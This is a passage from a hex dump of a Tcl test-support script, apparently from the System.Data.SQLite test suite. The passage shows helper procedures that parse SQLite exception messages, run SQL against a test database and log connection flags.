20 e_size;"]].. 10920 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 65 }..... proc e 10930 78 74 72 61 63 74 53 79 73 74 65 6d 44 61 74 61 xtractSystemData 10940 53 51 4c 69 74 65 45 78 63 65 70 74 69 6f 6e 4d SQLiteExceptionM 10950 65 73 73 61 67 65 20 7b 20 76 61 6c 75 65 20 7d essage { value } 10960 20 7b 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 {.. #.. 10970 20 20 20 23 20 4e 4f 54 45 3a 20 49 66 20 74 68 # NOTE: If th 10980 65 20 73 74 72 69 6e 67 20 63 6f 6e 66 6f 72 6d e string conform 10990 73 20 74 6f 20 66 6f 72 6d 61 74 20 6f 66 20 74 s to format of t 109a0 68 65 20 6e 6f 72 6d 61 6c 20 65 78 63 65 70 74 he normal except 109b0 69 6f 6e 0d 0a 20 20 20 20 20 20 23 20 20 20 20 ion.. # 109c0 20 20 20 65 72 72 6f 72 20 73 74 72 69 6e 67 73 error strings 109d0 2c 20 65 78 74 72 61 63 74 20 61 6e 64 20 72 65 , extract and re 109e0 74 75 72 6e 20 6f 6e 6c 79 20 74 68 65 20 65 72 turn only the er 109f0 72 6f 72 20 6d 65 73 73 61 67 65 0d 0a 20 20 20 ror message.. 10a00 20 20 20 23 20 20 20 20 20 20 20 70 6f 72 74 69 # porti 10a10 6f 6e 20 69 74 73 65 6c 66 2e 0d 0a 20 20 20 20 on itself... 10a20 20 20 23 0d 0a 20 20 20 20 20 20 73 65 74 20 70 #.. set p 10a30 61 74 74 65 72 6e 73 20 5b 6c 69 73 74 20 5c 0d atterns [list \. 10a40 0a 20 20 20 20 20 20 7b 53 79 73 74 65 6d 5c 2e . {System\. 10a50 44 61 74 61 5c 2e 53 51 4c 69 74 65 5c 2e 53 51 Data\.SQLite\.SQ 10a60 4c 69 74 65 45 78 63 65 70 74 69 6f 6e 20 5c 28 LiteException $$10a70 30 78 38 30 30 30 34 30 30 35 5c 29 3a 20 28 2e 0x80004005$$: (. 10a80 2b 3f 29 20 20 28 3f 3a 20 29 3f 61 74 7d 20 5c +?) (?: )?at} \ 10a90 0d 0a 20 20 20 20 20 20 7b 53 79 73 74 65 6d 5c .. {System\ 10aa0 2e 44 61 74 61 5c 2e 53 51 4c 69 74 65 5c 2e 53 .Data\.SQLite\.S 10ab0 51 4c 69 74 65 45 78 63 65 70 74 69 6f 6e 3a 20 QLiteException: 10ac0 28 2e 2b 3f 29 20 20 28 3f 3a 20 29 3f 61 74 7d (.+?) (?: )?at} 10ad0 5d 0d 0a 0d 0a 20 20 20 20 20 20 66 6f 72 65 61 ].... forea 10ae0 63 68 20 70 61 74 74 65 72 6e 20 24 70 61 74 74 ch pattern$patt 10af0 65 72 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 erns {.. 10b00 69 66 20 7b 5b 72 65 67 65 78 70 20 2d 2d 20 24 if {[regexp -- $10b10 70 61 74 74 65 72 6e 20 24 76 61 6c 75 65 20 64 pattern$value d 10b20 75 6d 6d 79 20 6d 65 73 73 61 67 65 5d 7d 20 74 ummy message]} t 10b30 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. 10b40 20 73 65 74 20 6d 65 73 73 61 67 65 20 5b 73 74 set message [st 10b50 72 69 6e 67 20 6d 61 70 20 5b 6c 69 73 74 20 5c ring map [list \ 10b60 72 5c 6e 20 5c 6e 5d 20 5b 73 74 72 69 6e 67 20 r\n \n] [string 10b70 74 72 69 6d 20 24 6d 65 73 73 61 67 65 5d 5d 0d trim $message]]. 10b80 0a 20 20 20 20 20 20 20 20 20 20 73 65 74 20 6c . set l 10b90 69 6e 65 73 20 5b 73 70 6c 69 74 20 24 6d 65 73 ines [split$mes 10ba0 73 61 67 65 20 5c 6e 5d 0d 0a 0d 0a 20 20 20 20 sage \n].... 10bb0 20 20 20 20 20 20 69 66 20 7b 5b 6c 6c 65 6e 67 if {[lleng 10bc0 74 68 20 24 6c 69 6e 65 73 5d 20 3d 3d 20 32 7d th $lines] == 2} 10bd0 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 10be0 20 20 20 20 20 69 66 20 7b 5b 6c 69 6e 64 65 78 if {[lindex 10bf0 20 24 6c 69 6e 65 73 20 30 5d 20 65 71 20 5b 6c$lines 0] eq [l 10c00 69 6e 64 65 78 20 24 6c 69 6e 65 73 20 31 5d 7d index $lines 1]} 10c10 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 10c20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 5b 6c return [l 10c30 69 6e 64 65 78 20 24 6c 69 6e 65 73 20 30 5d 0d index$lines 0]. 10c40 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a . }.. 10c50 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 .. re 10c60 74 75 72 6e 20 5b 61 70 70 65 6e 64 41 72 67 73 turn [appendArgs 10c70 20 5b 6c 69 6e 64 65 78 20 24 6c 69 6e 65 73 20 [lindex $lines 10c80 30 5d 20 22 20 2d 2d 20 22 20 5b 6c 69 6e 64 65 0] " -- " [linde 10c90 78 20 24 6c 69 6e 65 73 20 31 5d 5d 0d 0a 20 20 x$lines 1]].. 10ca0 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 }.... 10cb0 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 24 6d return $m 10cc0 65 73 73 61 67 65 0d 0a 20 20 20 20 20 20 20 20 essage.. 10cd0 7d 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 }.. }.... 10ce0 20 20 20 20 72 65 74 75 72 6e 20 24 76 61 6c 75 return$valu 10cf0 65 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 e.. }..... 10d00 20 70 72 6f 63 20 74 72 69 6d 53 71 6c 20 7b 20 proc trimSql { 10d10 73 71 6c 20 7d 20 7b 0d 0a 20 20 20 20 20 20 72 sql } {.. r 10d20 65 74 75 72 6e 20 5b 72 65 67 73 75 62 20 2d 61 eturn [regsub -a 10d30 6c 6c 20 2d 2d 20 7b 5c 73 2b 7d 20 5b 73 74 72 ll -- {\s+} [str 10d40 69 6e 67 20 74 72 69 6d 20 24 73 71 6c 5d 20 22 ing trim $sql] " 10d50 20 22 5d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 "].. }..... 10d60 20 20 20 70 72 6f 63 20 65 78 65 63 75 74 65 53 proc executeS 10d70 71 6c 20 7b 20 73 71 6c 20 7b 65 78 65 63 75 74 ql { sql {execut 10d80 65 20 6e 6f 6e 65 7d 20 7b 66 6f 72 6d 61 74 20 e none} {format 10d90 6e 6f 6e 65 7d 20 7b 66 69 6c 65 4e 61 6d 65 20 none} {fileName 10da0 22 22 7d 20 7d 20 7b 0d 0a 20 20 20 20 20 20 69 ""} } {.. i 10db0 66 20 7b 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 f {[string lengt 10dc0 68 20 24 66 69 6c 65 4e 61 6d 65 5d 20 3d 3d 20 h$fileName] == 10dd0 30 7d 20 74 68 65 6e 20 7b 73 65 74 20 66 69 6c 0} then {set fil 10de0 65 4e 61 6d 65 20 3a 6d 65 6d 6f 72 79 3a 7d 0d eName :memory:}. 10df0 0a 20 20 20 20 20 20 73 65 74 75 70 44 62 20 24 . setupDb $10e00 66 69 6c 65 4e 61 6d 65 20 22 22 20 22 22 20 22 fileName "" "" " 10e10 22 20 22 22 20 22 22 20 66 61 6c 73 65 20 66 61 " "" "" false fa 10e20 6c 73 65 20 66 61 6c 73 65 20 66 61 6c 73 65 20 lse false false 10e30 64 62 20 74 72 75 65 0d 0a 0d 0a 20 20 20 20 20 db true.... 10e40 20 74 72 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 try {.. 10e50 72 65 74 75 72 6e 20 5b 75 70 6c 65 76 65 6c 20 return [uplevel 10e60 31 20 5b 6c 69 73 74 20 5c 0d 0a 20 20 20 20 20 1 [list \.. 10e70 20 20 20 20 20 20 20 73 71 6c 20 65 78 65 63 75 sql execu 10e80 74 65 20 2d 65 78 65 63 75 74 65 20 24 65 78 65 te -execute$exe 10e90 63 75 74 65 20 2d 66 6f 72 6d 61 74 20 24 66 6f cute -format $fo 10ea0 72 6d 61 74 20 24 64 62 20 24 73 71 6c 5d 5d 0d rmat$db $sql]]. 10eb0 0a 20 20 20 20 20 20 7d 20 66 69 6e 61 6c 6c 79 . } finally 10ec0 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6c 65 61 {.. clea 10ed0 6e 75 70 44 62 20 24 66 69 6c 65 4e 61 6d 65 20 nupDb$fileName 10ee0 64 62 20 66 61 6c 73 65 20 66 61 6c 73 65 20 66 db false false f 10ef0 61 6c 73 65 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 alse.. }.. 10f00 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f }..... pro 10f10 63 20 68 61 73 4e 6f 46 6c 61 67 73 20 7b 20 76 c hasNoFlags { v 10f20 61 72 4e 61 6d 65 20 6e 6f 6e 65 20 7d 20 7b 0d arName none } {. 10f30 0a 20 20 20 20 20 20 75 70 76 61 72 20 31 20 24 . upvar 1 $10f40 76 61 72 4e 61 6d 65 20 66 6c 61 67 73 0d 0a 0d varName flags... 10f50 0a 20 20 20 20 20 20 69 66 20 7b 21 5b 69 6e 66 . if {![inf 10f60 6f 20 65 78 69 73 74 73 20 66 6c 61 67 73 5d 7d o exists flags]} 10f70 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 10f80 20 72 65 74 75 72 6e 20 74 72 75 65 0d 0a 20 20 return true.. 10f90 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 69 }.... i 10fa0 66 20 7b 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 f {[string lengt 10fb0 68 20 24 66 6c 61 67 73 5d 20 3d 3d 20 30 7d 20 h$flags] == 0} 10fc0 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 10fd0 72 65 74 75 72 6e 20 74 72 75 65 0d 0a 20 20 20 return true.. 10fe0 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 69 66 }.... if 10ff0 20 7b 24 6e 6f 6e 65 20 26 26 20 24 66 6c 61 67 {$none &&$flag 11000 73 20 65 71 20 22 4e 6f 6e 65 22 7d 20 74 68 65 s eq "None"} the 11010 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 n {.. ret 11020 75 72 6e 20 74 72 75 65 0d 0a 20 20 20 20 20 20 urn true.. 11030 7d 0d 0a 0d 0a 20 20 20 20 20 20 72 65 74 75 72 }.... retur 11040 6e 20 66 61 6c 73 65 0d 0a 20 20 20 20 7d 0d 0a n false.. }.. 11050 0c 0d 0a 20 20 20 20 70 72 6f 63 20 67 65 74 43 ... proc getC 11060 6f 6e 6e 65 63 74 69 6f 6e 46 6c 61 67 73 20 7b onnectionFlags { 11070 20 66 69 6c 65 4e 61 6d 65 20 66 6c 61 67 73 20 fileName flags 11080 7b 71 75 69 65 74 20 66 61 6c 73 65 7d 20 7d 20 {quiet false} } 11090 7b 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 {.. #.. 110a0 20 20 23 20 4e 4f 54 45 3a 20 46 69 67 75 72 65 # NOTE: Figure 110b0 20 6f 75 74 20 77 68 69 63 68 20 64 61 74 61 62 out which datab 110c0 61 73 65 20 66 69 6c 65 20 6e 61 6d 65 20 6f 72 ase file name or 110d0 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 73 74 72 69 connection stri 110e0 6e 67 20 74 68 65 73 65 0d 0a 20 20 20 20 20 20 ng these.. 110f0 23 20 20 20 20 20 20 20 63 6f 6e 6e 65 63 74 69 # connecti 11100 6f 6e 20 66 6c 61 67 73 20 77 69 6c 6c 20 61 63 on flags will ac 11110 74 75 61 6c 6c 79 20 61 70 70 6c 79 20 74 6f 2e tually apply to. 11120 20 20 54 68 69 73 20 69 73 20 6e 6f 74 20 6e 65 This is not ne 11130 63 65 73 73 61 72 79 0d 0a 20 20 20 20 20 20 23 cessary.. # 11140 20 20 20 20 20 20 20 69 6e 20 71 75 69 65 74 20 in quiet 11150 6d 6f 64 65 20 62 65 63 61 75 73 65 20 74 68 69 mode because thi 11160 73 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 69 73 s information is 11170 20 6f 6e 6c 79 20 75 73 65 64 20 66 6f 72 20 6c only used for l 11180 6f 67 67 69 6e 67 0d 0a 20 20 20 20 20 20 23 20 ogging.. # 11190 20 20 20 20 20 20 61 6e 64 20 72 65 70 6f 72 74 and report 111a0 69 6e 67 20 70 75 72 70 6f 73 65 73 2e 0d 0a 20 ing purposes... 111b0 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 #.. if 111c0 20 7b 21 24 71 75 69 65 74 7d 20 74 68 65 6e 20 {!$quiet} then 111d0 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 5b {.. if {[ 111e0 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 66 string length$f 111f0 69 6c 65 4e 61 6d 65 5d 20 3e 20 30 7d 20 74 68 ileName] > 0} th 11200 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 en {.. 11210 73 65 74 20 64 61 74 61 62 61 73 65 20 5b 61 70 set database [ap 11220 70 65 6e 64 41 72 67 73 20 22 66 69 6c 65 20 6e pendArgs "file n 11230 61 6d 65 20 5c 22 22 20 24 66 69 6c 65 4e 61 6d ame \"" $fileNam 11240 65 20 5c 22 5d 0d 0a 20 20 20 20 20 20 20 20 7d e \"].. } 11250 20 65 6c 73 65 69 66 20 7b 5b 69 6e 66 6f 20 65 elseif {[info e 11260 78 69 73 74 73 20 3a 3a 64 61 74 61 53 6f 75 72 xists ::dataSour 11270 63 65 5d 20 26 26 20 5c 0d 0a 20 20 20 20 20 20 ce] && \.. 11280 20 20 20 20 20 20 21 5b 61 72 72 61 79 20 65 78 ![array ex 11290 69 73 74 73 20 3a 3a 64 61 74 61 53 6f 75 72 63 ists ::dataSourc 112a0 65 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 e]} then {.. 112b0 20 20 20 20 20 20 73 65 74 20 64 61 74 61 62 61 set databa 112c0 73 65 20 5b 61 70 70 65 6e 64 41 72 67 73 20 22 se [appendArgs " 112d0 64 61 74 61 20 73 6f 75 72 63 65 20 5c 22 22 20 data source \"" 112e0 24 3a 3a 64 61 74 61 53 6f 75 72 63 65 20 5c 22$::dataSource \" 112f0 5d 0d 0a 20 20 20 20 20 20 20 20 7d 20 65 6c 73 ].. } els 11300 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 73 e {.. s 11310 65 74 20 64 61 74 61 62 61 73 65 20 3c 75 6e 6b et database <unk 11320 6e 6f 77 6e 3e 0d 0a 20 20 20 20 20 20 20 20 7d nown>.. } 11330 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 .. }.... 11340 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f #.. # NO 11350 54 45 3a 20 53 68 6f 77 20 28 61 6e 64 20 6c 6f TE: Show (and lo 11360 67 29 20 74 68 65 20 6c 6f 63 61 6c 20 63 6f 6e g) the local con 11370 6e 65 63 74 69 6f 6e 20 66 6c 61 67 73 20 61 6e nection flags an 11380 64 20 74 68 65 20 61 73 73 6f 63 69 61 74 65 64 d the associated 11390 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 .. # 113a0 64 61 74 61 20 73 6f 75 72 63 65 20 6f 72 20 66 data source or f 113b0 69 6c 65 20 6e 61 6d 65 2e 0d 0a 20 20 20 20 20 ile name... 113c0 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b 21 24 #.. if {!$113d0 71 75 69 65 74 7d 20 74 68 65 6e 20 7b 0d 0a 20 quiet} then {.. 113e0 20 20 20 20 20 20 20 69 66 20 7b 21 5b 69 6e 66 if {![inf 113f0 6f 20 65 78 69 73 74 73 20 3a 3a 6e 6f 28 65 6d o exists ::no(em 11400 69 74 4c 6f 63 61 6c 46 6c 61 67 73 29 5d 20 26 itLocalFlags)] & 11410 26 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 & \.. 11420 20 28 21 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 (![info exists 11430 3a 3a 6e 6f 28 65 6d 69 74 4c 6f 63 61 6c 46 6c ::no(emitLocalFl 11440 61 67 73 49 66 4e 6f 6e 65 29 5d 20 7c 7c 20 5c agsIfNone)] || \ 11450 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 21 .. ! 11460 5b 68 61 73 4e 6f 46 6c 61 67 73 20 66 6c 61 67 [hasNoFlags flag 11470 73 20 66 61 6c 73 65 5d 29 7d 20 74 68 65 6e 20 s false])} then 11480 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 74 70 75 {.. tpu 11490 74 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e ts$::test_chann 114a0 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c el [appendArgs \ 114b0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 114c0 22 2d 2d 2d 2d 20 6c 6f 63 61 6c 20 63 6f 6e 6e "---- local conn 114d0 65 63 74 69 6f 6e 20 66 6c 61 67 73 20 66 6f 72 ection flags for 114e0 20 22 20 24 64 61 74 61 62 61 73 65 20 5c 0d 0a " $database \.. 114f0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 20 " 11500 61 72 65 3a 20 22 20 5b 65 78 70 72 20 7b 21 5b are: " [expr {![ 11510 68 61 73 4e 6f 46 6c 61 67 73 20 66 6c 61 67 73 hasNoFlags flags 11520 20 66 61 6c 73 65 5d 20 3f 20 5c 0d 0a 20 20 20 false] ? \.. 11530 20 20 20 20 20 20 20 20 20 20 20 5b 61 70 70 65 [appe 11540 6e 64 41 72 67 73 20 5c 22 20 24 66 6c 61 67 73 ndArgs \"$flags 11550 20 5c 22 5d 20 3a 20 22 3c 6e 6f 6e 65 3e 22 7d \"] : "<none>"} 11560 5d 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 7d ] \n].. } 11570 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 .. }.... 11580 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f #.. # NO 11590 54 45 3a 20 53 68 6f 77 20 28 61 6e 64 20 6c 6f TE: Show (and lo 115a0 67 29 20 74 68 65 20 73 68 61 72 65 64 20 63 6f g) the shared co 115b0 6e 6e 65 63 74 69 6f 6e 20 66 6c 61 67 73 2e 0d nnection flags.. 115c0 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 . #.. 115d0 69 66 20 7b 21 24 71 75 69 65 74 7d 20 74 68 65 if {!$quiet} the 115e0 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 n {.. if 115f0 7b 5b 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 20 {[catch {.. 11600 20 20 20 20 20 6f 62 6a 65 63 74 20 69 6e 76 6f object invo 11610 6b 65 20 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 ke System.Data.S 11620 51 4c 69 74 65 2e 53 51 4c 69 74 65 43 6f 6e 6e QLite.SQLiteConn 11630 65 63 74 69 6f 6e 20 53 68 61 72 65 64 46 6c 61 ection SharedFla 11640 67 73 0d 0a 20 20 20 20 20 20 20 20 7d 20 73 68 gs.. } sh 11650 61 72 65 64 46 6c 61 67 73 5d 20 3d 3d 20 30 7d aredFlags] == 0} 11660 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 11670 20 20 20 69 66 20 7b 21 5b 69 6e 66 6f 20 65 78 if {![info ex 11680 69 73 74 73 20 3a 3a 6e 6f 28 65 6d 69 74 53 68 ists ::no(emitSh 11690 61 72 65 64 46 6c 61 67 73 29 5d 20 26 26 20 5c aredFlags)] && \ 116a0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 116b0 28 21 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a (![info exists : 116c0 3a 6e 6f 28 65 6d 69 74 53 68 61 72 65 64 46 6c :no(emitSharedFl 116d0 61 67 73 49 66 4e 6f 6e 65 29 5d 20 7c 7c 20 5c agsIfNone)] || \ 116e0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 116f0 20 21 5b 68 61 73 4e 6f 46 6c 61 67 73 20 73 68 ![hasNoFlags sh 11700 61 72 65 64 46 6c 61 67 73 20 74 72 75 65 5d 29 aredFlags true]) 11710 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. 11720 20 20 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 tputs$::t 11730 65 73 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 est_channel [app 11740 65 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 endArgs \.. 11750 20 20 20 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d "---- 11760 20 73 68 61 72 65 64 20 63 6f 6e 6e 65 63 74 69 shared connecti 11770 6f 6e 20 66 6c 61 67 73 20 66 6f 72 20 22 20 24 on flags for " $11780 64 61 74 61 62 61 73 65 20 5c 0d 0a 20 20 20 20 database \.. 11790 20 20 20 20 20 20 20 20 20 20 20 20 22 20 61 72 " ar 117a0 65 3a 20 22 20 5b 65 78 70 72 20 7b 21 5b 68 61 e: " [expr {![ha 117b0 73 4e 6f 46 6c 61 67 73 20 73 68 61 72 65 64 46 sNoFlags sharedF 117c0 6c 61 67 73 20 74 72 75 65 5d 20 3f 20 5c 0d 0a lags true] ? \.. 117d0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 117e0 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 22 20 24 [appendArgs \"$ 117f0 73 68 61 72 65 64 46 6c 61 67 73 20 5c 22 5d 20 sharedFlags \"] 11800 3a 20 22 3c 6e 6f 6e 65 3e 22 7d 5d 20 5c 6e 5d : "<none>"}] \n] 11810 0d 0a 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 .. }.. 11820 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d } else {. 11830 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 7b 21 . if {! 11840 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 6e [info exists ::n 11850 6f 28 65 6d 69 74 53 68 61 72 65 64 46 6c 61 67 o(emitSharedFlag 11860 73 29 5d 20 26 26 20 5c 0d 0a 20 20 20 20 20 20 s)] && \.. 11870 20 20 20 20 20 20 20 20 21 5b 69 6e 66 6f 20 65 ![info e 11880 78 69 73 74 73 20 3a 3a 6e 6f 28 65 6d 69 74 53 xists ::no(emitS 11890 68 61 72 65 64 46 6c 61 67 73 49 66 55 6e 61 76 haredFlagsIfUnav 118a0 61 69 6c 61 62 6c 65 29 5d 7d 20 74 68 65 6e 20 ailable)]} then 118b0 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 {.. t 118c0 70 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 puts $::test_cha 118d0 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 nnel [appendArgs 118e0 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 118f0 20 20 20 20 22 2d 2d 2d 2d 20 73 68 61 72 65 64 "---- shared 11900 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 6c 61 67 connection flag 11910 73 20 66 6f 72 20 22 20 24 64 61 74 61 62 61 73 s for "$databas 11920 65 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 e \.. 11930 20 20 20 20 20 22 20 61 72 65 3a 20 3c 75 6e 61 " are: <una 11940 76 61 69 6c 61 62 6c 65 3e 5c 6e 22 5d 0d 0a 20 vailable>\n"].. 11950 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 }.. 11960 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 7d 0d 0a }.. }.. 11970 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 .. #.. 11980 20 23 20 4e 4f 54 45 3a 20 53 68 6f 77 20 28 61 # NOTE: Show (a 11990 6e 64 20 6c 6f 67 29 20 74 68 65 20 64 65 74 65 nd log) the dete 119a0 63 74 65 64 20 67 6c 6f 62 61 6c 20 63 6f 6e 6e cted global conn 119b0 65 63 74 69 6f 6e 20 66 6c 61 67 73 2c 20 69 66 ection flags, if 119c0 20 61 6e 79 2e 0d 0a 20 20 20 20 20 20 23 0d 0a any... #.. 119d0 20 20 20 20 20 20 69 66 20 7b 21 24 71 75 69 65 if {!$quie 119e0 74 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 t} then {.. 119f0 20 20 20 69 66 20 7b 21 5b 69 6e 66 6f 20 65 78 if {![info ex 11a00 69 73 74 73 20 3a 3a 6e 6f 28 65 6d 69 74 47 6c ists ::no(emitGl 11a10 6f 62 61 6c 46 6c 61 67 73 29 5d 20 26 26 20 5c obalFlags)] && \ 11a20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 21 .. (! 11a30 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 6e [info exists ::n 11a40 6f 28 65 6d 69 74 47 6c 6f 62 61 6c 46 6c 61 67 o(emitGlobalFlag 11a50 73 49 66 4e 6f 6e 65 29 5d 20 7c 7c 20 5c 0d 0a sIfNone)] || \.. 11a60 20 20 20 20 20 20 20 20 20 20 20 20 20 21 5b 68 ![h 11a70 61 73 4e 6f 46 6c 61 67 73 20 3a 3a 63 6f 6e 6e asNoFlags ::conn 11a80 65 63 74 69 6f 6e 5f 66 6c 61 67 73 20 66 61 6c ection_flags fal 11a90 73 65 5d 29 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 se])} then {.. 11aa0 20 20 20 20 20 20 20 20 74 70 75 74 73 20 24 3a tputs$: 11ab0 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 :test_channel [a 11ac0 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 ppendArgs \.. 11ad0 20 20 20 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d "---- 11ae0 20 67 6c 6f 62 61 6c 20 63 6f 6e 6e 65 63 74 69 global connecti 11af0 6f 6e 20 66 6c 61 67 73 20 61 72 65 3a 20 22 20 on flags are: " 11b00 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 \.. 11b10 20 5b 65 78 70 72 20 7b 21 5b 68 61 73 4e 6f 46 [expr {![hasNoF 11b20 6c 61 67 73 20 3a 3a 63 6f 6e 6e 65 63 74 69 6f lags ::connectio 11b30 6e 5f 66 6c 61 67 73 20 66 61 6c 73 65 5d 20 3f n_flags false] ? 11b40 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 11b50 20 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 22 [appendArgs \" 11b60 20 24 3a 3a 63 6f 6e 6e 65 63 74 69 6f 6e 5f 66 $::connection_f 11b70 6c 61 67 73 20 5c 22 5d 20 3a 20 22 3c 6e 6f 6e lags \"] : "<non 11b80 65 3e 22 7d 5d 20 5c 6e 5d 0d 0a 20 20 20 20 20 e>"}] \n].. 11b90 20 20 20 7d 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d }.. }... 11ba0 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 . #.. 11bb0 23 20 4e 4f 54 45 3a 20 49 66 20 74 68 65 72 65 # NOTE: If there 11bc0 20 61 72 65 20 61 6e 79 20 67 6c 6f 62 61 6c 20 are any global 11bd0 28 70 65 72 20 74 65 73 74 20 72 75 6e 29 20 63 (per test run) c 11be0 6f 6e 6e 65 63 74 69 6f 6e 20 66 6c 61 67 73 20 onnection flags 11bf0 63 75 72 72 65 6e 74 6c 79 0d 0a 20 20 20 20 20 currently.. 11c00 20 23 20 20 20 20 20 20 20 73 65 74 2c 20 75 73 # set, us 11c10 65 20 74 68 65 6d 20 6e 6f 77 20 28 69 2e 65 2e e them now (i.e. 11c20 20 62 79 20 63 6f 6d 62 69 6e 69 6e 67 20 74 68 by combining th 11c30 65 6d 20 77 69 74 68 20 74 68 65 20 6f 6e 65 73 em with the ones 11c40 20 66 6f 72 20 74 68 69 73 0d 0a 20 20 20 20 20 for this.. 11c50 20 23 20 20 20 20 20 20 20 63 6f 6e 6e 65 63 74 # connect 11c60 69 6f 6e 29 2e 0d 0a 20 20 20 20 20 20 23 0d 0a ion)... #.. 11c70 20 20 20 20 20 20 69 66 20 7b 5b 69 6e 66 6f 20 if {[info 11c80 65 78 69 73 74 73 20 3a 3a 63 6f 6e 6e 65 63 74 exists ::connect 11c90 69 6f 6e 5f 66 6c 61 67 73 5d 7d 20 74 68 65 6e ion_flags]} then 11ca0 20 7b 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 {.. #.. 11cb0 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 43 # NOTE: C 11cc0 6f 6d 62 69 6e 65 20 61 6e 64 2f 6f 72 20 72 65 ombine and/or re 11cd0 70 6c 61 63 65 20 74 68 65 20 63 6f 6e 6e 65 63 place the connec 11ce0 74 69 6f 6e 20 66 6c 61 67 73 20 61 6e 64 20 74 tion flags and t 11cf0 68 65 6e 20 73 68 6f 77 20 74 68 65 0d 0a 20 20 hen show the.. 11d00 20 20 20 20 20 20 23 20 20 20 20 20 